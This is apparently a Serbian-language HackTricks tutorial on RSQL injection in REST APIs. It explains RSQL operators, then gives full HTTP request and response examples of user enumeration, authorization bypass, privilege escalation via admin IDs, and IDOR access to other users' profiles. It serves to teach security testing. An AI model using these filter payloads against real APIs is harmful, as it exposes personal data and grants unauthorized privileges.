# RSQL Injection {{#include ../banners/hacktricks-training.md}} ## Šta je RSQL? RSQL je jezik upita dizajniran za parametarsko filtriranje unosa u RESTful API-ima. Zasnovan na FIQL (Feed Item Query Language), koji je prvobitno definisao Mark Nottingham za upitivanje Atom feed-ova, RSQL se izdvaja po svojoj jednostavnosti i sposobnosti da izrazi složene upite na kompaktan i URI-kompatibilan način preko HTTP-a. Ovo ga čini odličnim izborom kao opšti jezik upita za pretraživanje REST krajnjih tačaka. ## Pregled RSQL Injection je ranjivost u web aplikacijama koje koriste RSQL kao jezik upita u RESTful API-ima. Slično [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) i [LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection), ova ranjivost se javlja kada RSQL filteri nisu pravilno sanitizovani, omogućavajući napadaču da ubaci zlonamerne upite kako bi pristupio, izmenio ili obrisao podatke bez autorizacije. ## Kako to funkcioniše? RSQL vam omogućava da gradite napredne upite u RESTful API-ima, na primer: ```bash /products?filter=price>100;category==electronics ``` Ovo se prevodi u strukturirani upit koji filtrira proizvode sa cenom većom od 100 i kategorijom "elektronika". Ako aplikacija ne validira ispravno korisnički unos, napadač bi mogao da manipuliše filtrima kako bi izvršio neočekivane upite, kao što su: ```bash /products?filter=id=in=(1,2,3);delete_all==true ``` Ili čak iskoristiti za ekstrakciju osetljivih informacija pomoću Boolean upita ili ugnježdenih podupita. ## Rizici - **Izlaganje osetljivih podataka:** Napadač može da dohvati informacije koje ne bi trebale biti dostupne. - **Modifikacija ili brisanje podataka:** Injekcija filtera koji menjaju zapise u bazi podataka. - **Povećanje privilegija:** Manipulacija identifikatorima koji dodeljuju uloge putem filtera kako bi se prevarila aplikacija pristupom sa privilegijama drugih korisnika. - **Izbegavanje kontrola pristupa:** Manipulacija filterima za pristup ograničenim podacima. - **Impersonacija ili IDOR:** Modifikacija identifikatora između korisnika putem filtera koji omogućavaju pristup informacijama i resursima drugih korisnika bez pravilne autentifikacije. ## Podržani RSQL operatori | Operator | Opis | Primer | |:----: |:----: |:------------------:| | `;` / `and` | Logički **AND** operator. Filtrira redove gde su *oba* uslova *tačna* | `/api/v2/myTable?q=columnA==valueA;columnB==valueB` | | `,` / `or` | Logički **OR** operator. Filtrira redove gde je *barem jedan* uslov *tačan*| `/api/v2/myTable?q=columnA==valueA,columnB==valueB` | | `==` | Izvodi **jednako** upit. Vraća sve redove iz *myTable* gde su vrednosti u *columnA* tačno jednake *queryValue* | `/api/v2/myTable?q=columnA==queryValue` | | `=q=` | Izvodi **pretragu** upit. Vraća sve redove iz *myTable* gde vrednosti u *columnA* sadrže *queryValue* | `/api/v2/myTable?q=columnA=q=queryValue` | | `=like=` | Izvodi **like** upit. Vraća sve redove iz *myTable* gde su vrednosti u *columnA* slične *queryValue* | `/api/v2/myTable?q=columnA=like=queryValue` | | `=in=` | Izvodi **in** upit. Vraća sve redove iz *myTable* gde *columnA* sadrži *valueA* ILI *valueB* | `/api/v2/myTable?q=columnA=in=(valueA, valueB)` | | `=out=` | Izvodi **exclude** upit. Vraća sve redove iz *myTable* gde vrednosti u *columnA* nisu *valueA* niti *valueB* | `/api/v2/myTable?q=columnA=out=(valueA,valueB)` | | `!=` | Izvodi *nije jednako* upit. Vraća sve redove iz *myTable* gde vrednosti u *columnA* nisu jednake *queryValue* | `/api/v2/myTable?q=columnA!=queryValue` | | `=notlike=` | Izvodi **not like** upit. Vraća sve redove iz *myTable* gde vrednosti u *columnA* nisu slične *queryValue* | `/api/v2/myTable?q=columnA=notlike=queryValue` | | `<` & `=lt=` | Izvodi **manje od** upit. Vraća sve redove iz *myTable* gde su vrednosti u *columnA* manje od *queryValue* | `/api/v2/myTable?q=columnA `/api/v2/myTable?q=columnA=lt=queryValue` | | `=le=` & `<=` | Izvodi **manje od** ili **jednako** upit. Vraća sve redove iz *myTable* gde su vrednosti u *columnA* manje ili jednake *queryValue* | `/api/v2/myTable?q=columnA<=queryValue`
`/api/v2/myTable?q=columnA=le=queryValue` | | `>` & `=gt=` | Izvodi **veće od** upit. Vraća sve redove iz *myTable* gde su vrednosti u *columnA* veće od *queryValue* | `/api/v2/myTable?q=columnA>queryValue`
`/api/v2/myTable?q=columnA=gt=queryValue` | | `>=` & `=ge=` | Izvodi **jednako** ili **veće od** upit. Vraća sve redove iz *myTable* gde su vrednosti u *columnA* jednake ili veće od *queryValue* | `/api/v2/myTable?q=columnA>=queryValue`
`/api/v2/myTable?q=columnA=ge=queryValue` | | `=rng=` | Izvodi **od do** upit. Vraća sve redove iz *myTable* gde su vrednosti u *columnA* jednake ili veće od *fromValue*, i manje ili jednake od *toValue* | `/api/v2/myTable?q=columnA=rng=(fromValue,toValue)` | **Napomena**: Tabela zasnovana na informacijama iz [**MOLGENIS**](https://molgenis.gitbooks.io/molgenis/content/) i [**rsql-parser**](https://github.com/jirutka/rsql-parser) aplikacija. #### Primeri - name=="Kill Bill";year=gt=2003 - name=="Kill Bill" and year>2003 - genres=in=(sci-fi,action);(director=='Christopher Nolan',actor==*Bale);year=ge=2000 - genres=in=(sci-fi,action) and (director=='Christopher Nolan' or actor==*Bale) and year>=2000 - director.lastName==Nolan;year=ge=2000;year=lt=2010 - director.lastName==Nolan and year>=2000 and year<2010 - genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino - genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino **Napomena**: Tabela zasnovana na informacijama iz [**rsql-parser**](https://github.com/jirutka/rsql-parser) aplikacije. ## Uobičajeni filteri Ovi filteri pomažu u preciziranju upita u API-ima: | Filter | Opis | Primer | |--------|------------|---------| | `filter[users]` | Filtrira rezultate po specifičnim korisnicima | `/api/v2/myTable?filter[users]=123` | | `filter[status]` | Filtrira po statusu (aktivan/neaktivan, završen, itd.) | `/api/v2/orders?filter[status]=active` | | `filter[date]` | Filtrira rezultate unutar vremenskog okvira | `/api/v2/logs?filter[date]=gte:2024-01-01` | | `filter[category]` | Filtrira po kategoriji ili tipu resursa | `/api/v2/products?filter[category]=electronics` | | `filter[id]` | Filtrira po jedinstvenom identifikatoru | `/api/v2/posts?filter[id]=42` | ## Uobičajeni parametri Ovi parametri pomažu u optimizaciji API odgovora: | Parametar | Opis | Primer | |-----------|------------|---------| | `include` | Uključuje povezane resurse u odgovoru | `/api/v2/orders?include=customer,items` | | `sort` | Sortira rezultate u rastućem ili opadajućem redosledu | `/api/v2/users?sort=-created_at` | | `page[size]` | Kontroliše broj rezultata po stranici | `/api/v2/products?page[size]=10` | | `page[number]` | Specifikuje broj stranice | `/api/v2/products?page[number]=2` | | `fields[resource]` | Definiše koje polja da vrati u odgovoru | `/api/v2/users?fields[users]=id,name,email` | | `search` | Izvodi fleksibilniju pretragu | `/api/v2/posts?search=technology` | ## Izdavanje informacija i enumeracija korisnika Sledeći zahtev prikazuje endpoint za registraciju koji zahteva email parametar da proveri da li postoji neki korisnik registrovan sa tim email-om i vraća true ili false u zavisnosti od toga da li postoji u bazi podataka: ### Zahtev ``` GET /api/registrations HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### Odgovor ``` HTTP/1.1 400 Date: Sat, 22 Mar 2025 14:47:14 GMT Content-Type: application/vnd.api+json Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * Content-Length: 85 { "errors": [{ "code": "BLANK", "detail": "Missing required param: email", "status": "400" }] } ``` Iako se očekuje `/api/registrations?email=`, moguće je koristiti RSQL filtre da se pokuša enumerisati i/ili izvući informacije o korisnicima korišćenjem specijalnih operatora: ### Request ``` GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Origin: https://locahost:3000 Connection: keep-alive Referer: https://locahost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### Odgovor ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 14:09:38 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 38 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": { "attributes": { "tenants": [] } } } ``` U slučaju podudaranja sa važećim email nalogom, aplikacija bi vratila informacije o korisniku umesto klasičnog *“true”*, *"1"* ili bilo čega drugog u odgovoru serveru: ### Request ``` GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### Odgovor ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 14:19:46 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 293 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": { "id": "********************", "type": "UserAccountDTO", "attributes": { "id": "********************", "type": "UserAccountDTO", "email": "manuel**********@domain.local", "sub": "*********************", "status": "ACTIVE", "tenants": [{ "id": "1" }] } } } ``` ## Izbegavanje autorizacije U ovom scenariju, počinjemo od korisnika sa osnovnom ulogom i u kojem nemamo privilegovane dozvole (npr. administrator) da pristupimo listi svih korisnika registrovanih u bazi podataka: ### Zahtev ``` GET /api/users HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJhb................. Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### Odgovor ``` HTTP/1.1 403 Date: Sat, 22 Mar 2025 14:40:07 GMT Content-Length: 0 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * ``` Ponovo koristimo filtre i specijalne operatore koji će nam omogućiti alternativni način da dobijemo informacije o korisnicima i izbegnemo kontrolu pristupa. Na primer, filtriramo *korisnike* koji sadrže slovo “*a*” u svom korisničkom *ID*-u: ### Request ``` GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJhb................. Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### Odgovor ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 14:43:28 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 1434192 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": [{ "id": "********A***********", "type": "UserGetResponseCustomDTO", "attributes": { "status": "ACTIVE", "countryId": 63, "timeZoneId": 3, "translationKey": "************", "email": "**********@domain.local", "firstName": "rafael", "surname": "************", "telephoneCountryCode": "**", "mobilePhone": "*********", "taxIdentifier": "********", "languageId": 1, "createdAt": "2024-08-09T10:57:41.237Z", "termsOfUseAccepted": true, "id": "******************", "type": "UserGetResponseCustomDTO" } }, { "id": "*A*******A*****A*******A******", "type": "UserGetResponseCustomDTO", "attributes": { "status": "ACTIVE", "countryId": 63, "timeZoneId": 3, "translationKey": ""************", "email": "juan*******@domain.local", "firstName": "juan", "surname": ""************",", "telephoneCountryCode": "**", "mobilePhone": "************", "taxIdentifier": "************", "languageId": 1, "createdAt": "2024-07-18T06:07:37.68Z", "termsOfUseAccepted": true, "id": "*******************", "type": "UserGetResponseCustomDTO" } }, { ................ ``` ## Eskalacija privilegija Veoma je verovatno da ćemo pronaći određene krajnje tačke koje proveravaju privilegije korisnika kroz njihovu ulogu. Na primer, imamo korisnika koji nema privilegije: ### Zahtev ``` GET /api/companyUsers?include=role HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJhb...... Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### Odgovor ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 19:13:08 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 11 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": [] } ``` Korišćenjem određenih operatora mogli bismo enumerisati administratorske korisnike: ### Request ``` GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJh..... Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### Odgovor ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 19:13:45 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 361 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": [{ "type": "CompanyUserGetResponseDTO", "attributes": { "companyId": "FA**************", "companyTaxIdentifier": "B999*******", "bizName": "company sl", "email": "jose*******@domain.local", "userRole": { "userRoleId": 1, "userRoleKey": "general.roles.admin" }, "companyCountryTranslationKey": "*******", "type": "CompanyUserGetResponseDTO" } }] } ``` Nakon što se sazna identifikator administratorskog korisnika, bilo bi moguće iskoristiti eskalaciju privilegija zamenom ili dodavanjem odgovarajućeg filtera sa identifikatorom administratora i dobijanjem istih privilegija: ### Request ``` GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJ..... Origin: https:/localhost:3000 Connection: keep-alive Referer: https:/localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### Odgovor ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 18:53:00 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 68833 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "meta": { "Functionalities": [{ "functionalityId": 1, "permissionId": 1, "effectivePriority": "PERMIT", "effectiveBehavior": "PERMIT", "translationKey": "general.userProfile", "type": "FunctionalityPermissionDTO" }, { "functionalityId": 2, "permissionId": 2, "effectivePriority": "PERMIT", "effectiveBehavior": "PERMIT", "translationKey": "general.my_profile", "type": "FunctionalityPermissionDTO" }, { "functionalityId": 3, "permissionId": 3, "effectivePriority": "PERMIT", "effectiveBehavior": "PERMIT", "translationKey": "layout.change_user_data", "type": "FunctionalityPermissionDTO" }, { "functionalityId": 4, "permissionId": 4, "effectivePriority": "PERMIT", "effectiveBehavior": "PERMIT", "translationKey": "general.configuration", "type": "FunctionalityPermissionDTO" }, { ....... ``` ## Impersonate or Insecure Direct Object References (IDOR) Pored korišćenja `filter` parametra, moguće je koristiti i druge parametre kao što je `include` koji omogućava uključivanje određenih parametara u rezultat (npr. jezik, država, lozinka...). U sledećem primeru, prikazane su informacije o našem korisničkom profilu: ### Request ``` GET /api/users?include=language,country HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJ...... Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### Odgovor ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 19:47:27 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 540 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": [{ "id": "D5********************", "type": "UserGetResponseCustomDTO", "attributes": { "status": "ACTIVE", "countryId": 63, "timeZoneId": 3, "translationKey": "**********", "email": "domingo....@domain.local", "firstName": "Domingo", "surname": "**********", "telephoneCountryCode": "**", "mobilePhone": "******", "languageId": 1, "createdAt": "2024-03-11T07:24:57.627Z", "termsOfUseAccepted": true, "howMeetUs": "**************", "id": "D5********************", "type": "UserGetResponseCustomDTO" } }] } ``` Kombinacija filtera može se koristiti za izbegavanje kontrole autorizacije i sticanje pristupa profilima drugih korisnika: ### Request ``` GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/vnd.api+json Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/vnd.api+json Authorization: Bearer eyJ.... Origin: https://localhost:3000 Connection: keep-alive Referer: https://localhost:3000/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` ### Odgovor ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 19:50:07 GMT Content-Type: application/vnd.api+json;charset=UTF-8 Content-Length: 520 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * { "data": [{ "id": "94******************", "type": "UserGetResponseCustomDTO", "attributes": { "status": "ACTIVE", "countryId": 63, "timeZoneId": 2, "translationKey": "**************", "email": "jose******@domain.local", "firstName": "jose", "surname": "***************", "telephoneCountryCode": "**", "mobilePhone": "********", "taxIdentifier": "*********", "languageId": 1, "createdAt": "2024-11-21T08:29:05.833Z", "termsOfUseAccepted": true, "id": "94******************", "type": "UserGetResponseCustomDTO" } }] } ``` ## Reference - [RSQL Injection](https://owasp.org/www-community/attacks/RSQL_Injection) - [RSQL Injection Exploitation](https://m3n0sd0n4ld.github.io/patoHackventuras/rsql_injection_exploitation) {{#include ../banners/hacktricks-training.md}}